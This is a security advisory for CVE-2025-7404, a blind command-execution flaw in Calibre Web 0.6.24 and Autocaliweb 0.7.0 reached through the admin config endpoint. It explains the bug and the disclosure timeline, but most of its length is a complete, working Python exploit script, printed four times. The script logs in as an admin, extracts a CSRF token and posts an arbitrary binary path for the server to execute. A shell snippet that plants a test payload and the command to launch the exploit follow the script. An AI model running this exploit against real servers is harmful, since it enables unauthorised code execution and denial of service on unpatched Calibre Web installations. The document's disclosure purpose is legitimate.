
Calibre Web 0.6.24 - Blind Command Injection
5,9
Medium
Discovered by
Offensive Team, Fluid Attacks
Summary
Full name
Calibre Web 0.6.24 & Autocaliweb 0.7.0 - Blind Command Injection
Code name
State
Public
Release date
24 jul 2025
Affected product
Calibre Web
Affected version(s)
Version 0.6.24 (Nicolette)
Vulnerability name
OS Command Injection
Vulnerability type
Remotely exploitable
Yes
CVSS v4.0 vector string
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N
CVSS v4.0 base score
5.9
Exploit available
Yes
CVE ID(s)
Description
An arbitrary blind binary execution vulnerability has been identified in version 0.6.24 (Nicolette) of the Calibre Web application, located in the cps/admin.py file. This allows admin users to cause binary file execution (without parameters) using the absolute path. The Autocaliweb version 0.7.0 has also been confirmed as vulnerable to the same attack.
Vulnerability
The vulnerability originates from the /admin/ajaxconfig endpoint, which enables an authenticated administrator to configure various system settings via a POST request. One of these settings is 'config_rarfile_location', which is saved and subsequently validated by the 'check_unrar()' helper function. Within this function, the provided path is checked for existence using the os.path.exists() function, but no further validation is performed on the contents of the path.
The path is then passed directly to the process_wait() function, which internally calls process_open(). This creates a subprocess.Popen invocation with the user-supplied path as the command and no arguments.
As no strict allow-list or path validation is applied, an attacker can submit any absolute path to a binary on the system and the server will attempt to execute it. Although parameters cannot be passed to the binary, its default behaviour is fully triggered, enabling a malicious administrator user to execute commands such as /sbin/reboot to force a system restart or launch /bin/bash in interactive mode if the process is connected to a terminal.
Furthermore, since no command output is returned to the user, data exfiltration is limited. However, the ability to run any binary poses a high risk to system integrity and availability. Overall, the vulnerability is classified as command injection with path control but no argument control, stemming from the insecure direct use of user-controlled paths in subprocess execution.
PoC
Exploit:
import requests import re import argparse def parse_args() -> argparse.Namespace: # parse args parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", metavar="", help="Specify the target URL (https://calibreweb.com/).", required=True) parser.add_argument("-c", "--cmd", metavar="", help="Specify the absolute path of the executable path you want to execute.", default="/usr/bin/whoami") parser.add_argument("-u", "--username", metavar="", required=True, help="Specify the username of an admin account.") parser.add_argument("-p", "--password", metavar="", required=True, help="Specify the password of an admin account.") parser.add_argument("--proxy", metavar="", required=False, help="Specify a proxy. Ex: --proxy 'http;http://localhost:8080'", default=None) args = parser.parse_args() args.session = requests.Session() if args.proxy: args.proxy = {args.proxy.split(";")[0]: args.proxy.split(";")[1]} return args def get_csrf_token(response: requests.models.Response): """Extract CSRF token from response""" try: if response.status_code == 200: csrf_match = re.search(r'name="csrf_token" value="([^"]+)"', response.text) if csrf_match: return csrf_match.group(1) # Also search in meta tags just in case csrf_match = re.search(r'<meta name="csrf-token" content="([^"]+)"', response.text) if csrf_match: return csrf_match.group(1) except Exception as e: print(f"❌ Error getting CSRF token: {e}") return None def login(args: argparse.Namespace) -> bool: """Login session""" target = args.target.rstrip("/") + "/login" response = args.session.get(target, proxies=args.proxy) csrf_token = get_csrf_token(response) if csrf_token: response = args.session.post( target, { "username": args.username, "password": args.password, "csrf_token": csrf_token }, proxies=args.proxy ) if response.status_code == 200 and "admin" in response.url or "dashboard" in response.text.lower(): print("[!] Logged in successfully") return True else: print("[X] Error while trying to login") return False else: print("[X] Error getting CSRF token") return False def execute_command(args: argparse.Namespace) -> bool: """ Send the config parameters with the payload in config_rarfile_location parameter to execute system commands """ exploit_data = { "config_rarfile_location": args.cmd, # Required parameters to avoid validation errors "config_password_min_length": "8", # Valid value between 1-40 "config_port": "8083", # Maintain current port "config_external_port": "8083", # External port "config_uploading": "1", # Checkbox values "config_unicode_filename": "0", "config_embed_metadata": "0", "config_anonbrowse": "0", "config_public_reg": "0", "config_register_email": "0", "config_kobo_sync": "0", "config_kobo_proxy": "0", "config_remote_login": "0", "config_use_goodreads": "0", "config_allow_reverse_proxy_header_login": "0", "config_check_extensions": "0", "config_password_policy": "0", "config_password_number": "0", "config_password_lower": "0", "config_password_upper": "0", "config_password_character": "0", "config_password_special": "0", "config_session": "1", "config_ratelimiter": "0", "config_updatechannel": "0", # Empty or valid strings to avoid errors "config_trustedhosts": "", "config_keyfile": "", "config_certfile": "", "config_upload_formats": "txt,pdf,epub,mobi,azw,azw3,azw4,cbz,cbr", "config_calibre": "", "config_binariesdir": "", "config_kepubifypath": "", "config_converterpath": "", "config_goodreads_api_key": "", "config_reverse_proxy_login_header_name": "", "config_limiter_uri": "", "config_limiter_options": "" } target = [args.target.rstrip("/") + path for path in ["/admin/config", "/admin/ajaxconfig"]] csrf_token = get_csrf_token(args.session.get(target[0], proxies=args.proxy)) if csrf_token: # Appropriate headers headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } headers['X-CSRFToken'] = csrf_token headers['X-CSRF-Token'] = csrf_token response = args.session.post( target[1], headers=headers, data=exploit_data, proxies=args.proxy ) if response.status_code == 200: print("[!] Payload sent successfully.") return True else: print("[!] Unable to sent the configuration.") return False else: print("[!] Error while trying to get the csrf_token.") return False def main(): args = parse_args() login(args) execute_command(args) exit() if __name__ == "__main__": main()
import requests import re import argparse def parse_args() -> argparse.Namespace: # parse args parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", metavar="", help="Specify the target URL (https://calibreweb.com/).", required=True) parser.add_argument("-c", "--cmd", metavar="", help="Specify the absolute path of the executable path you want to execute.", default="/usr/bin/whoami") parser.add_argument("-u", "--username", metavar="", required=True, help="Specify the username of an admin account.") parser.add_argument("-p", "--password", metavar="", required=True, help="Specify the password of an admin account.") parser.add_argument("--proxy", metavar="", required=False, help="Specify a proxy. Ex: --proxy 'http;http://localhost:8080'", default=None) args = parser.parse_args() args.session = requests.Session() if args.proxy: args.proxy = {args.proxy.split(";")[0]: args.proxy.split(";")[1]} return args def get_csrf_token(response: requests.models.Response): """Extract CSRF token from response""" try: if response.status_code == 200: csrf_match = re.search(r'name="csrf_token" value="([^"]+)"', response.text) if csrf_match: return csrf_match.group(1) # Also search in meta tags just in case csrf_match = re.search(r'<meta name="csrf-token" content="([^"]+)"', response.text) if csrf_match: return csrf_match.group(1) except Exception as e: print(f"❌ Error getting CSRF token: {e}") return None def login(args: argparse.Namespace) -> bool: """Login session""" target = args.target.rstrip("/") + "/login" response = args.session.get(target, proxies=args.proxy) csrf_token = get_csrf_token(response) if csrf_token: response = args.session.post( target, { "username": args.username, "password": args.password, "csrf_token": csrf_token }, proxies=args.proxy ) if response.status_code == 200 and "admin" in response.url or "dashboard" in response.text.lower(): print("[!] Logged in successfully") return True else: print("[X] Error while trying to login") return False else: print("[X] Error getting CSRF token") return False def execute_command(args: argparse.Namespace) -> bool: """ Send the config parameters with the payload in config_rarfile_location parameter to execute system commands """ exploit_data = { "config_rarfile_location": args.cmd, # Required parameters to avoid validation errors "config_password_min_length": "8", # Valid value between 1-40 "config_port": "8083", # Maintain current port "config_external_port": "8083", # External port "config_uploading": "1", # Checkbox values "config_unicode_filename": "0", "config_embed_metadata": "0", "config_anonbrowse": "0", "config_public_reg": "0", "config_register_email": "0", "config_kobo_sync": "0", "config_kobo_proxy": "0", "config_remote_login": "0", "config_use_goodreads": "0", "config_allow_reverse_proxy_header_login": "0", "config_check_extensions": "0", "config_password_policy": "0", "config_password_number": "0", "config_password_lower": "0", "config_password_upper": "0", "config_password_character": "0", "config_password_special": "0", "config_session": "1", "config_ratelimiter": "0", "config_updatechannel": "0", # Empty or valid strings to avoid errors "config_trustedhosts": "", "config_keyfile": "", "config_certfile": "", "config_upload_formats": "txt,pdf,epub,mobi,azw,azw3,azw4,cbz,cbr", "config_calibre": "", "config_binariesdir": "", "config_kepubifypath": "", "config_converterpath": "", "config_goodreads_api_key": "", "config_reverse_proxy_login_header_name": "", "config_limiter_uri": "", "config_limiter_options": "" } target = [args.target.rstrip("/") + path for path in ["/admin/config", "/admin/ajaxconfig"]] csrf_token = get_csrf_token(args.session.get(target[0], proxies=args.proxy)) if csrf_token: # Appropriate headers headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } headers['X-CSRFToken'] = csrf_token headers['X-CSRF-Token'] = csrf_token response = args.session.post( target[1], headers=headers, data=exploit_data, proxies=args.proxy ) if response.status_code == 200: print("[!] Payload sent successfully.") return True else: print("[!] Unable to sent the configuration.") return False else: print("[!] Error while trying to get the csrf_token.") return False def main(): args = parse_args() login(args) execute_command(args) exit() if __name__ == "__main__": main()
import requests import re import argparse def parse_args() -> argparse.Namespace: # parse args parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", metavar="", help="Specify the target URL (https://calibreweb.com/).", required=True) parser.add_argument("-c", "--cmd", metavar="", help="Specify the absolute path of the executable path you want to execute.", default="/usr/bin/whoami") parser.add_argument("-u", "--username", metavar="", required=True, help="Specify the username of an admin account.") parser.add_argument("-p", "--password", metavar="", required=True, help="Specify the password of an admin account.") parser.add_argument("--proxy", metavar="", required=False, help="Specify a proxy. Ex: --proxy 'http;http://localhost:8080'", default=None) args = parser.parse_args() args.session = requests.Session() if args.proxy: args.proxy = {args.proxy.split(";")[0]: args.proxy.split(";")[1]} return args def get_csrf_token(response: requests.models.Response): """Extract CSRF token from response""" try: if response.status_code == 200: csrf_match = re.search(r'name="csrf_token" value="([^"]+)"', response.text) if csrf_match: return csrf_match.group(1) # Also search in meta tags just in case csrf_match = re.search(r'<meta name="csrf-token" content="([^"]+)"', response.text) if csrf_match: return csrf_match.group(1) except Exception as e: print(f"❌ Error getting CSRF token: {e}") return None def login(args: argparse.Namespace) -> bool: """Login session""" target = args.target.rstrip("/") + "/login" response = args.session.get(target, proxies=args.proxy) csrf_token = get_csrf_token(response) if csrf_token: response = args.session.post( target, { "username": args.username, "password": args.password, "csrf_token": csrf_token }, proxies=args.proxy ) if response.status_code == 200 and "admin" in response.url or "dashboard" in response.text.lower(): print("[!] Logged in successfully") return True else: print("[X] Error while trying to login") return False else: print("[X] Error getting CSRF token") return False def execute_command(args: argparse.Namespace) -> bool: """ Send the config parameters with the payload in config_rarfile_location parameter to execute system commands """ exploit_data = { "config_rarfile_location": args.cmd, # Required parameters to avoid validation errors "config_password_min_length": "8", # Valid value between 1-40 "config_port": "8083", # Maintain current port "config_external_port": "8083", # External port "config_uploading": "1", # Checkbox values "config_unicode_filename": "0", "config_embed_metadata": "0", "config_anonbrowse": "0", "config_public_reg": "0", "config_register_email": "0", "config_kobo_sync": "0", "config_kobo_proxy": "0", "config_remote_login": "0", "config_use_goodreads": "0", "config_allow_reverse_proxy_header_login": "0", "config_check_extensions": "0", "config_password_policy": "0", "config_password_number": "0", "config_password_lower": "0", "config_password_upper": "0", "config_password_character": "0", "config_password_special": "0", "config_session": "1", "config_ratelimiter": "0", "config_updatechannel": "0", # Empty or valid strings to avoid errors "config_trustedhosts": "", "config_keyfile": "", "config_certfile": "", "config_upload_formats": "txt,pdf,epub,mobi,azw,azw3,azw4,cbz,cbr", "config_calibre": "", "config_binariesdir": "", "config_kepubifypath": "", "config_converterpath": "", "config_goodreads_api_key": "", "config_reverse_proxy_login_header_name": "", "config_limiter_uri": "", "config_limiter_options": "" } target = [args.target.rstrip("/") + path for path in ["/admin/config", "/admin/ajaxconfig"]] csrf_token = get_csrf_token(args.session.get(target[0], proxies=args.proxy)) if csrf_token: # Appropriate headers headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } headers['X-CSRFToken'] = csrf_token headers['X-CSRF-Token'] = csrf_token response = args.session.post( target[1], headers=headers, data=exploit_data, proxies=args.proxy ) if response.status_code == 200: print("[!] Payload sent successfully.") return True else: print("[!] Unable to sent the configuration.") return False else: print("[!] Error while trying to get the csrf_token.") return False def main(): args = parse_args() login(args) execute_command(args) exit() if __name__ == "__main__": main()
import requests import re import argparse def parse_args() -> argparse.Namespace: # parse args parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", metavar="", help="Specify the target URL (https://calibreweb.com/).", required=True) parser.add_argument("-c", "--cmd", metavar="", help="Specify the absolute path of the executable path you want to execute.", default="/usr/bin/whoami") parser.add_argument("-u", "--username", metavar="", required=True, help="Specify the username of an admin account.") parser.add_argument("-p", "--password", metavar="", required=True, help="Specify the password of an admin account.") parser.add_argument("--proxy", metavar="", required=False, help="Specify a proxy. Ex: --proxy 'http;http://localhost:8080'", default=None) args = parser.parse_args() args.session = requests.Session() if args.proxy: args.proxy = {args.proxy.split(";")[0]: args.proxy.split(";")[1]} return args def get_csrf_token(response: requests.models.Response): """Extract CSRF token from response""" try: if response.status_code == 200: csrf_match = re.search(r'name="csrf_token" value="([^"]+)"', response.text) if csrf_match: return csrf_match.group(1) # Also search in meta tags just in case csrf_match = re.search(r'<meta name="csrf-token" content="([^"]+)"', response.text) if csrf_match: return csrf_match.group(1) except Exception as e: print(f"❌ Error getting CSRF token: {e}") return None def login(args: argparse.Namespace) -> bool: """Login session""" target = args.target.rstrip("/") + "/login" response = args.session.get(target, proxies=args.proxy) csrf_token = get_csrf_token(response) if csrf_token: response = args.session.post( target, { "username": args.username, "password": args.password, "csrf_token": csrf_token }, proxies=args.proxy ) if response.status_code == 200 and "admin" in response.url or "dashboard" in response.text.lower(): print("[!] Logged in successfully") return True else: print("[X] Error while trying to login") return False else: print("[X] Error getting CSRF token") return False def execute_command(args: argparse.Namespace) -> bool: """ Send the config parameters with the payload in config_rarfile_location parameter to execute system commands """ exploit_data = { "config_rarfile_location": args.cmd, # Required parameters to avoid validation errors "config_password_min_length": "8", # Valid value between 1-40 "config_port": "8083", # Maintain current port "config_external_port": "8083", # External port "config_uploading": "1", # Checkbox values "config_unicode_filename": "0", "config_embed_metadata": "0", "config_anonbrowse": "0", "config_public_reg": "0", "config_register_email": "0", "config_kobo_sync": "0", "config_kobo_proxy": "0", "config_remote_login": "0", "config_use_goodreads": "0", "config_allow_reverse_proxy_header_login": "0", "config_check_extensions": "0", "config_password_policy": "0", "config_password_number": "0", "config_password_lower": "0", "config_password_upper": "0", "config_password_character": "0", "config_password_special": "0", "config_session": "1", "config_ratelimiter": "0", "config_updatechannel": "0", # Empty or valid strings to avoid errors "config_trustedhosts": "", "config_keyfile": "", "config_certfile": "", "config_upload_formats": "txt,pdf,epub,mobi,azw,azw3,azw4,cbz,cbr", "config_calibre": "", "config_binariesdir": "", "config_kepubifypath": "", "config_converterpath": "", "config_goodreads_api_key": "", "config_reverse_proxy_login_header_name": "", "config_limiter_uri": "", "config_limiter_options": "" } target = [args.target.rstrip("/") + path for path in ["/admin/config", "/admin/ajaxconfig"]] csrf_token = get_csrf_token(args.session.get(target[0], proxies=args.proxy)) if csrf_token: # Appropriate headers headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } headers['X-CSRFToken'] = csrf_token headers['X-CSRF-Token'] = csrf_token response = args.session.post( target[1], headers=headers, data=exploit_data, proxies=args.proxy ) if response.status_code == 200: print("[!] Payload sent successfully.") return True else: print("[!] Unable to sent the configuration.") return False else: print("[!] Error while trying to get the csrf_token.") return False def main(): args = parse_args() login(args) execute_command(args) exit() if __name__ == "__main__": main()
Creation of malicious.sh as Proof of Concept:
cat << 'EOF' > /tmp/malicious.sh #!/bin/bash echo 'pwned' > success EOF chmod +x /tmp/malicious.sh
cat << 'EOF' > /tmp/malicious.sh #!/bin/bash echo 'pwned' > success EOF chmod +x /tmp/malicious.sh
cat << 'EOF' > /tmp/malicious.sh #!/bin/bash echo 'pwned' > success EOF chmod +x /tmp/malicious.sh
cat << 'EOF' > /tmp/malicious.sh #!/bin/bash echo 'pwned' > success EOF chmod +x /tmp/malicious.sh
Run the exploit:
python3 exploit.py -t http://localhost:8083 -u admin -p admin123 -c /tmp/malicious.sh
python3 exploit.py -t http://localhost:8083 -u admin -p admin123 -c /tmp/malicious.sh
python3 exploit.py -t http://localhost:8083 -u admin -p admin123 -c /tmp/malicious.sh
python3 exploit.py -t http://localhost:8083 -u admin -p admin123 -c /tmp/malicious.sh
Evidence of Exploitation
Calibre Web:

Autocaliweb:

Our security policy
We have reserved the ID CVE-2025-7404 to refer to this issue from now on.
System Information
Calibre Web:
Version 0.6.24 (Nicolette)
Operating System: Any
Autocaliweb:
Version 0.7.0
References
Calibre Web:
Github Repository: https://github.com/janeczku/calibre-web
Autocaliweb:
Github Repository: https://github.com/gelbphoenix/autocaliweb
Security: https://github.com/gelbphoenix/autocaliweb/security/policy
Mitigation
There is currently no patch available for this vulnerability on Calibre Web project.
Autocaliweb version 0.7.1 has patched this vulnerability.
Credits
The vulnerability was discovered by Johan Giraldo from Fluid Attacks' Offensive Team.
Timeline
7 jul 2025
Vulnerability discovered
14 jul 2025
Vendor contacted
24 jul 2025
Public disclosure
Does your application use this vulnerable software?
During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.
Suscríbete a nuestro boletín
Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.
© 2026 Fluid Attacks. We hack your software.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.
Suscríbete a nuestro boletín
Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.
Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.
© 2026 Fluid Attacks. We hack your software.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.
Suscríbete a nuestro boletín
Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.
Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.
© 2026 Fluid Attacks. We hack your software.
¡Nos vemos en RSA Conference™ 2026 en el booth N-4614! Agenda una demo on-site.
¡Nos vemos en RSA Conference™ 2026 en el booth N-4614! Agenda una demo on-site.
¡Nos vemos en RSA Conference™ 2026 en el booth N-4614! Agenda una demo on-site.





